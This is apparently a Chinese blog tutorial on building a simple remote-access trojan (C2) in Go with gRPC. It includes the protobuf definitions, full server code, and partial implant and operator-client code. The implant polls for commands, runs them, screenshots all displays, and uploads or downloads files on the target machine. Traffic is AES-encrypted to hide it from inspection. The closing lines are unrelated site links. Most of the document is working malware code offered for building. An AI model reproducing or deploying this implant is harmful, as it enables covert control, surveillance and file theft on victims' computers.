概述

构建一个简单的远控木马需要编写三个独立的部分:植入程序、服务端程序和管理程序。

植入程序是运行在目标机器上的远控木马的一部分。植入程序会定期轮询服务器以查找新的命令,然后将命令输出发回给服务器。

管理程序是运行在用户机器上的客户端,用于发出实际的命令。

服务端则负责与植入程序和客户端的交互,接收客户端的指令,并在植入程序请求时,将命令发送给植入程序,随后将植入程序发送来的结果传递给客户端。

gRPC

这里通过gRPC构建所有的网络交互。

关于gRPC、Protobuf、protoc请参考https://www.zhihu.com/question/286825709

gRPC是由google创建的一个高性能远程过程调用(RPC)框架。RPC框架允许客户端通过标准和定义的协议与服务器进行通信,而不必了解底层的任何细节。gRPC基于HTTP/2运行,以一种高效的二进制结构传递消息。gRPC默认的序列方式是Protobuf。

定义和构造gRPC API

这里使用Protobufs来定义API

Service

在proto文件中定义了两个service,分别对应植入程序服务端和管理程序服务端。

在植入程序服务中,定义了三个方法FetchCommandSendOutputGetSleepTime

FetchCommand:将从服务器检索所有为执行的命令

SendOutput:会将一个Command消息发送服务器

GetSleepTime:从服务端检索sleep时间间隔

在管理程序服务中,定义的两个方法RunCommandSetSleepTime

RunCommand:接收一个Command消息作为参数,并期望获读回一个Command消息

SetSleepTime:向服务器发送一个SleepTime消息作为时间间隔

Message

最后看到定义的三个message CommandSleepTimeEmpty

Command:消息中的两个参数分别代表了输入的命令和命令对应的结果。都为string类型,要说明的是后面两个数字是代表了消息本身两个字段出现的偏移量,也就是In将首先出现,然后是Out。

SleepTime:唯一 一个字段就是用来标明休眠时间间隔的

Empty:用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值

syntax = "proto3";
package grpcapi;
option go_package = "./grpcapi";
service Implant {
rpc FetchCommand (Empty) returns (Command);
rpc SendOutput (Command) returns (Empty);
rpc GetSleepTime(Empty) returns (SleepTime);
} service Admin {
rpc RunCommand (Command) returns (Command);
rpc SetSleepTime(SleepTime) returns (Empty);
} //Command消息包含两个字段,一个用于维护操作系统的命令;一个用于维护命令执行的输出
message Command {
string In = 1;
string Out = 2;
}
message SleepTime {
int32 time = 1;
} //Empty 用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值
message Empty {
}
编译proto文件

对于Golang使用如下命令编译.proto文件。会根据你的.proto文件生成Go文件。

这个生成的新文件回包含Protobuf模式中创建的服务和消息的结构和结构体定义。后续将利用它构造服务端、植入程序和客户端。

protoc --go_out=./ --go-grpc_opt=require_unimplemented_servers=false --go-grpc_out=./ *.proto

实现

创建服务端

首先,创建两个结构体adminServerimplantServer,它们都包含两个Command通道,用于发送和接收命令以及命令的输出。这两个结构体会实现gRPC API中定义的服务端接口。并且需要为这两个结构体定义辅助函数NewAdminServerNewImplantServer,用于创建新的实例,可以确保通道正确的初始化。

type implantServer struct {
work, output chan *grpcapi.Command
} type adminServer struct {
work, output chan *grpcapi.Command
} func NewImplantServer (work, output chan *grpcapi.Command) *implantServer {
s := new(implantServer)
s.work = work
s.output = output
return s
}
func NewAdminServer (work, output chan *grpcapi.Command) *adminServer {
s := new(adminServer)
s.work = work
s.output = output
return s
}

implantServer

对于植入程序服务端,需要实现的方法有FetchCommand()SendOutput()GetSleepTime()

FetchCommand:植入程序将调用方法FetchCommand作为一种轮询机制,它会询问“有工作给我吗?”。在代码中,将根据select语句,当work通道中有数据时会从中读取数据到实例化的Command中,并返回。如果没有读取到数据,就会返回一个空的Command。

func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
var cmd = new(grpcapi.Command)
select {
case cmd, ok := <-s.work:
if ok {
return cmd, nil
}
return cmd, errors.New("channel closed")
default:
return cmd, nil
}
}

SendOutput:将接收一个Command,其中包含了从植入程序中获取的命令执行的结果。并将这个Command推送到output通道中,以便管理程序的后续读取。

func (s *implantServer) SendOutput (ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
s.output <- result
fmt.Println("result:" + result.In + result.Out)
return &grpcapi.Empty{}, nil
}

*GetSleepTime:植入程序在每次sleep之前就会调用此方法,向服务端询问sleep的时间。这个方法将返回从变量sleepTIme中读取到的数据。

func (s *implantServer) GetSleepTime(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.SleepTime, error) {
time := new(grpcapi.SleepTime)
time.Time = sleepTime
return time,nil
}

adminServer

对于管理程序服务端,需要实现的方法有RunCommandSetSleepTime

RunCommand:该方法接收一个尚未发送到植入程序的Command,它表示管理程序希望在植入程序上执行的工作。并将工作发送给work通道。因为使用无缓冲的通道,该操作将会阻塞程序的执行,但同时又需要从output通道中接收数据,因此使用goroutine将工作放入work通道中。

调用这个方法时,会将命令发送给服务端,并等待植入程序执行完后的发送回的结果。

func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error)  {
fmt.Println(cmd.In)
var res *grpcapi.Command
go func() {
s.work <- cmd
}() res = <- s.output return res, nil
}

SetSleepTime:管理程序客户端调用此方法,将从命令行输入的时间发送给服务端后,设置到sleepTIme变量中

func (s *adminServer) SetSleepTime(ctx context.Context, time *grpcapi.SleepTime) (*grpcapi.Empty, error) {
sleepTime = time.Time
return &grpcapi.Empty{}, nil
}

main函数部分

main函数首先使用相同的work和output通道实例化implantServer和adminServer。通过相同的通道实例,可以是管理程序服务端和植入程序服务端通过此共享通道进行通信。

接下来,为每个服务启动网络监听器,将implantListener绑定到1961端口,将adminListener绑定到1962端口。最后创建两个gRPC服务器。

func main()  {
var (
implantListener, adminListener net.Listener
err error
opts []grpc.ServerOption
work, output chan *grpcapi.Command
)
work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
//植入程序服务端和管理程序服务端使用相同的通道
implant := NewImplantServer(work, output)
admin := NewAdminServer(work, output)
//服务端建立监听,植入服务端与管理服务端监听的端口分别是1961和1962
if implantListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1961)); err != nil {
log.Fatalln("implantserver"+err.Error())
}
if adminListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1962)); err != nil {
log.Fatalln("adminserver"+err.Error())
}
//服务端设置允许发送和接收数据的最大限制
opts = []grpc.ServerOption{
grpc.MaxRecvMsgSize(1024*1024*12),
grpc.MaxSendMsgSize(1024*1024*12),
}
grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...) grpcapi.RegisterImplantServer(grpcImplantServer, implant)
grpcapi.RegisterAdminServer(grpcAdminServer, admin)
//使用goroutine启动植入程序服务端,防止代码阻塞,毕竟后面还要开启管理程序服务端
go func() {
grpcImplantServer.Serve(implantListener)
}()
grpcAdminServer.Serve(adminListener)
}

创建植入程序和管理程序

植入程序

	// WithInsecure 忽略证书
opts = append(opts, grpc.WithInsecure())
//设置发送和接收数据的最大限制
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
//连接到指定服务器的指定端口
if conn,err = grpc.Dial(fmt.Sprintf("127.0.0.1:%d",1961), opts...); err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewImplantClient(conn) ctx := context.Background()
//使用for循环来轮询服务器
for {
var req = new(grpcapi.Empty)
cmd, err := client.FetchCommand(ctx, req)
if err != nil {
log.Fatal(err)
}
//如果没有要执行的命令就进入sleep
if cmd.In == "" {
//sleep之前向服务器询问sleep的时间
t,_ := client.GetSleepTime(ctx,req)
fmt.Println("sleep"+t.String())
time.Sleep(time.Duration(t.Time)* time.Second)
continue
}
//从服务端获取到命令后先进行解密处理
command, _ := util.DecryptByAes(cmd.In)
//根据空格截取命令
tokens := strings.Split(string(command), " ")
.......
}

管理程序

	//	设置命令行参数
flag.IntVar(&sleepTime,"sleep",0,"sleep time")
flag.StringVar(&session,"session","","start session")
flag.StringVar(&ip,"ip","127.0.0.1","Server IP")
flag.StringVar(&port,"port","1961","Server IP")
flag.Parse() if session != "" {
//输入session参数,并且参数值为start,开执行命令
if session == "start" {
// WithInsecure 忽略证书
opts = append(opts, grpc.WithInsecure())
//设置发送和接收数据的最大限制
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
//连接到指定服务器的指定端口
if conn,err = grpc.Dial(fmt.Sprintf("%s:%s",ip, port),opts...);
err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewAdminClient(conn)
fmt.Println("start exec:")
//通过for循环来不断向控制台输入命令
for {
var cmd = new(grpcapi.Command)
//go中scan、scanf、scanln在输入时都会将空格作为一个字符串的结束,因此不能使用这些来键入我们的命令
//获取用户输入的命令
reader := bufio.NewReader(os.Stdin)
command, _, err := reader.ReadLine()
if nil != err {
fmt.Println("reader.ReadLine() error:", err)
}
//根据空格截取输入的命令,以进行后续的判断
flags := strings.Split(string(command)," ")
......
} else {
fmt.Println("please input start")
}
}
sleep时间

自定义回连时间:也就是允许自定义植入程序轮询服务器的时间间隔。

植入程序这里轮询时间间隔是通过sleep函数实现的,而实现自定义这个功能则是植入程序在sleep之前会向服务端询问sleep的时间。

 //如果没有要执行的命令就进入sleep
if cmd.In == "" {
//sleep之前向服务器询问sleep的时间
t,_ := client.GetSleepTime(ctx,req)
fmt.Println("sleep"+t.String())
time.Sleep(time.Duration(t.Time)* time.Second)
continue
}

管理程序客户端可以通过命令行参数sleep来设置休眠时间,单位为秒。

	//根据命令行键入sleep参数的值进行设置sleep时间,如果没有键入sleep参数默认为0
if sleepTime != 0 {
var time = new(grpcapi.SleepTime)
time.Time = int32(sleepTime)
ctx := context.Background()
client.SetSleepTime(ctx,time)
}
截图

截图功能实现

截图功能借助于 github.com/kbinani/screenshot 实现

植入端获取到截图命令后,会先获取当前屏幕的数量,并根据顺序进行截图,并将图片存放到[]byte字节切片中,进行加密编码后发出。

	//输入的命令为screenshot 就进入下面的流程
if tokens[0] == "screenshot" {
images := util.Screenshot()
for _,image := range images {
result,_ := util.EncryptByAes(util.ImageToByte(image))
cmd.Out += result
cmd.Out += ";"
}
client.SendOutput(ctx, cmd)
continue
}
//util.Screenshot() 截图
func Screenshot() []*image.RGBA {
var images []*image.RGBA
//获取当前活动屏幕数量
i := screenshot.NumActiveDisplays()
if i == 0 { }
for j :=0; j <= i-1; j++ {
image,_ := screenshot.CaptureDisplay(j)
images = append(images, image)
}
return images
}
//util.ImageToByte() 图片转字节切片
func ImageToByte(image *image.RGBA) []byte{
buf := new(bytes.Buffer)
png.Encode(buf,image)
b := buf.Bytes()
return b
}
上传文件

上传文件,要求输入的格式为 upload 本地文件 目标文件

管理程序会根据输入的本地文件,将本地文件读取到[]byte字节切片当中,并进行AES加密和BASE64编码。也就是说最终向服务端传递的数据将变成经过加密、编码后的字符串。这里会将这个字符串存放在Command.Out中。这里可能游戏额难以理解,command.Out不是用来存放执行结果的吗?其实在服务端中,会将管理程序客户端的命令放到work中,然后将植入程序执行完以后会才会将结果封装在command.Out,而在这之前command.Out是空的。这里上传文件实际上是在管理程序客户端时“借用”command.Out的位置,将要上传的数据与上传命令一起发送给植入程序。

这里根据前面提到的,设置最大上传数据为12MB,但要注意的上传文件会经过aes加密与base64编码,因此12MB指经过加密后的数据大小,实际上允许上传的数据要小于12MB。下载同理。

if flags[0] == "upload" {
if len(flags) != 3 || flags[2] == "" {
fmt.Println("输入格式为:upload 本地文件 目标文件")
continue
}
file, err := os.ReadFile(flags[1])
if err != nil {
fmt.Println(err.Error())
continue
}
//将数据存放在Command.Out中
cmd.Out,err = util.EncryptByAes(file)
if err != nil {
log.Fatal(err.Error())
}
cmd = Run(cmd,command,client)
out,err := util.DecryptByAes(cmd.Out)
if err != nil {
log.Fatal(err.Error())
}
fmt.Println(string(out))
continue
}

植入端程序将根据cmd.in中输入的命令判断是否为上传指令。判断为上传指令后,将会对cmd.out中保存的字符串数据进行解密后写入到用户指定的目标文件当中。

//匹配上传命令
if tokens[0] == "upload" {
file,_ := util.DecryptByAes(cmd.Out)
err := os.WriteFile(tokens[2],file,0666)
if err != nil{
cmd.Out,_ = util.EncryptByAes([]byte(err.Error()))
client.SendOutput(ctx, cmd)
} else {
cmd.Out,_ = util.EncryptByAes([]byte("upload success!"))
client.SendOutput(ctx, cmd)
} continue
}
下载文件

下载文件, 要求输入的格式为download 目标文件 本地文件

客户端将下载命令发送给服务端。客户端会从cmd.out中读取到数据后解密,并根据用户输入的本地文件写入文件。

if flags[0] == "download" {
if len(flags) != 3 || flags[2] == "" {
fmt.Println("输入格式为:download 目标文件 本地文件")
continue
}
//发送命令
cmd = Run(cmd,command,client)
file, err := util.DecryptByAes(cmd.Out)
if err != nil {
log.Fatal(err.Error())
}
if string(file[0:13]) == "download err!" {
fmt.Println(string(file[0:13]))
continue
}
err = os.WriteFile(flags[2],file,0666)
if err != nil {
fmt.Println(err.Error())
}else {
fmt.Println("download success! Path:" + flags[2])
}
continue
}

当植入程序询问到该命令之后,会将用户输入的目标文件读取到[]byte字节切片当中,与上传文件类似地,进行加密编码以字符串形式存放到cmd.Out中经服务端发送给客户端。

//匹配下载命令
if tokens[0] == "download" {
file,err := os.ReadFile(tokens[1])
if err != nil {
cmd.Out,_ = util.EncryptByAes([]byte("download err! "+err.Error()))
client.SendOutput(ctx, cmd)
}else {
cmd.Out,_ = util.EncryptByAes(file)
_,err2 := client.SendOutput(ctx, cmd)
if err2 != nil {
fmt.Println(err2.Error())
}
} continue
}

编码问题

go的编码是UTF-8,而CMD的活动页是GBK编码的,因此使用GoLang进行命令执行时,对于命令执行结果返回的中文会产生乱码的现象。

虽然在植入程序中会执行命令,但是在通过植入程序再向服务端发送结果时由于包含乱码,植入程序向服务端发送的数据为空。(因此服务端就没有接收这个数据),result中没有数据,所以植入程序的服务端在向output输入数据时会阻塞。由于管理服务端和植入程序服务端共享通道,output中没有数据,进而引发管理服务端也阻塞(直到output中有数据)。

中文乱码问题的解决依赖于golang.org/x/text/encoding/simplifiedchinese

当然在解决掉乱码问题后,这一问题也就消失了。

type Charset string

const (
UTF8 = Charset("UTF-8")
GB18030 = Charset("GB18030")
) func ConvertByte2String(byte []byte, charset Charset) string { var str string
switch charset {
case GB18030:
decodeBytes, _ := simplifiedchinese.GB18030.NewDecoder().Bytes(byte)
str = string(decodeBytes)
case UTF8:
fallthrough
default:
str = string(byte)
} return str
}

流量加密

对于所有的C2程序都应该加密其网络流量,这对于植入程序和服务器之间的通信尤为重要。通过截取流量,可以看到植入程序和服务端的数据是明文的。对于解决这个问题,可以提供得是两种选择,一是对我们传输得数据进行加密如异或、AES加密,在传输过程中使用密文传递;二是使用TLS技术。

如下为未加密前流量

当前使用AES+BAES64编码来进行加密

aes加密和base64编码参考:https://blog.csdn.net/dodod2012/article/details/117706402

管理程序客户端获取到用户从命令行键入的命令,将对这个命令进行base64+aes加密,再发送给服务端。服务端接收到这个消息后,直接将消息写入通道中。

待植入程序客请求服务端时,就会读取到这段密文,进行解密后执行命令,并将执行的结果进行加密发送给服务端。最终管理程序会从结果通道中读取到执行的结果,解密后并进行编码格式的转变,输出到控制台。这相比于明文传输就安全多了。如下为加密后的流量

基于gRPC编写golang简单C2远控的更多相关文章

  1. 使用CEF(二)— 基于VS2019编写一个简单CEF样例

    使用CEF(二)- 基于VS2019编写一个简单CEF样例 在这一节中,本人将会在Windows下使用VS2019创建一个空白的C++Windows Desktop Application项目,逐步进 ...

  2. 【VS开发】 自己编写一个简单的ActiveX控件——详尽教程

    最近开始学ActiveX控件编程,上手不太容易,上网想找相关教程也没合适的,最后还是在师哥的指导下完成了第一个简单控件的开发,现在把开发过程贴出来与大家分享一下~ (环境说明--平台:vs2005:语 ...

  3. Koadic的安装和使用---http c2远控工具

    Koadic的安装和使用 2017.11.26 11:02 字数 690 阅读 611评论 0喜欢 2   概述 Koadic是DEFCON分型出来的一个后渗透工具,主要通过vbscript.jscr ...

  4. 【逆向&编程实战】Metasploit中的安卓载荷凭什么吊打SpyNote成为安卓端最强远控

    文章作者:MG1937 QQ:3496925334 CNBLOG:ALDYS4 未经许可,禁止转载 前言 说起SpyNote大家自然不陌生,这款恶意远控软件被利用在各种攻击场景中 甚至是最近也捕获到了 ...

  5. 用nc+简单bat/vbs脚本+winrar制作迷你远控后门

    前言 某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念. 我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接. 真正的远控还没实践过,所以决定写个小后门试一试. ...

  6. 基于gulp编写的一个简单实用的前端开发环境好了,安装完Gulp后,接下来是你大展身手的时候了,在你自己的电脑上面随便哪个地方建一个目录,打开命令行,然后进入创建好的目录里面,开始撸代码,关于生成的json文件请点击这里https://docs.npmjs.com/files/package.json,打开的速度看你的网速了注意:以下是为了演示 ,我建的一个目录结构,你自己可以根据项目需求自己建目

    自从Node.js出现以来,基于其的前端开发的工具框架也越来越多了,从Grunt到Gulp再到现在很火的WebPack,所有的这些新的东西的出现都极大的解放了我们在前端领域的开发,作为一个在前端领域里 ...

  7. 基于gulp编写的一个简单实用的前端开发环境

    自从Node.js出现以来,基于其的前端开发的工具框架也越来越多了,从Grunt到Gulp再到现在很火的WebPack,所有的这些新的东西的出现都极大的解放了我们在前端领域的开发,作为一个在前端领域里 ...

  8. 基于qml创建最简单的图像处理程序(1)-基于qml创建界面

    <基于qml创建最简单的图像处理程序>系列课程及配套代码基于qml创建最简单的图像处理程序(1)-基于qml创建界面http://www.cnblogs.com/jsxyhelu/p/83 ...

  9. 基于gin的golang web开发:docker

    Golang天生适合运行在docker容器中,这得益于:Golang的静态编译,当在编译的时候关闭cgo的时候,可以完全不依赖系统环境. 一些基础 测试容器时我们经常需要进入容器查看运行情况,以下命令 ...

随机推荐

  1. Android 4.4系统,User模式adb默认开启,取消授权,开启root调试记录

    开启User模式adb,取消授权,修改如下: 1. /build/core/main.mk  修改以下内容 ifeq (true,$(strip $(enable_target_debugging)) ...

  2. Java实现飞机大战游戏

    飞机大战详细文档 文末有源代码,以及本游戏使用的所有素材,将plane2文件复制在src文件下可以直接运行. 实现效果: 结构设计 角色设计 飞行对象类 FlyObject 战机类 我的飞机 MyPl ...

  3. RabbitMQ 环境安装

    每日一句 Wisdom is knowing what to do next, skill is knowing how to do it, and virtue is doing it. 智慧是知道 ...

  4. 主管发话:一周搞不定用友U8 ERP跨业务数据分析,明天就可以“毕业”了

    随着月末来临,又到了汇报总结的时刻. (图片来自网络) 到了这个特殊时期,你的老板就一定想要查看企业整体的运转情况.销售业绩.客户实况分析.客户活跃度.Top10 sales. 产品情况.订单处理情况 ...

  5. .NET C#基础(1):相等性与同一性判定 - 似乎有点小缺陷的设计

    0. 文章目的   本文面向有一定.NET C#基础知识的学习者,介绍在C#中的常用的对象比较手段,并提供一些编码上的建议. 1. 阅读基础 1:理解C#基本语法与基本概念(如类.方法.字段与变量声明 ...

  6. 计算机环境变量的配置,以java为例以及eclipse简要设置

    安装JDK时可以不安装公共jre.因为好多软件和浏览器已经默认自带的jre了,或者自动调用系统的了. 在java 中需要设置三个环境变量(1.5之后不需要再设置CLASSPATH了,但需要的话可以设置 ...

  7. CSCMS代码审计

    很久之前审的了. 文章首发于奇安信攻防社区 https://forum.butian.net/share/1626 0x00 前言 CSCMS是一款强大的多功能内容管理系统,采用php5+mysql进 ...

  8. BUUCTF-后门查杀

    后门查杀 后门查杀这种题最好还是整个D盾直接扫描目录方便. 查看文件得到flag

  9. javaEE-IDEA创建项目-使用Mybatis

    新建项目 点Next之后给项目命名 创建如下文件夹以及文件 修改pom.xml, 加入 <dependencies> <!-- junit单元测试 --> <depend ...

  10. SAP 实例 13 Random Grouping with LOOP

    REPORT demo_loop_group_by_random. CLASS demo DEFINITION. PUBLIC SECTION. CLASS-METHODS: main, class_ ...